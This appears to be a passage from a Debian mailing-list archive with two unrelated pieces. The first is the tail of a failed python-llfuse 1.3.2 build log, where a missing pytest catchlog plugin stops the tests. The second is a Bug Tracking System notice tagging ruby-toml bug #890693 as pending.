INTERNALERROR> _reraise(*ex)  # noqa
INTERNALERROR>   File "/usr/lib/python2.7/dist-packages/pluggy/callers.py", 
line 180, in _multicall
INTERNALERROR> res = hook_impl.function(*args)
INTERNALERROR>   File 
"/build/1st/python-llfuse-1.3.2+dfsg/test/pytest_checklogs.py", line 20, in 
pytest_configure
INTERNALERROR> raise ImportError('pytest catchlog plugin not found')
INTERNALERROR> ImportError: pytest catchlog plugin not found
E: pybuild pybuild:283: test: plugin distutils failed with: exit code=3: cd 
/build/1st/python-llfuse-1.3.2+dfsg/.pybuild/pythonX.Y_2.7/build; python2.7 -m 
pytest --installed "{dir}/test/"
dh_auto_test: pybuild --test -i python{version} -p 2.7 returned exit code 13
make: *** [debian/rules:10: build] Error 25

Processed: Bug #890693 in ruby-toml marked as pending

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #890693 [src:ruby-toml] ruby-toml FTBFS with ruby 2.5
Added tag(s) pending.

-- 
890693: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=890693
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems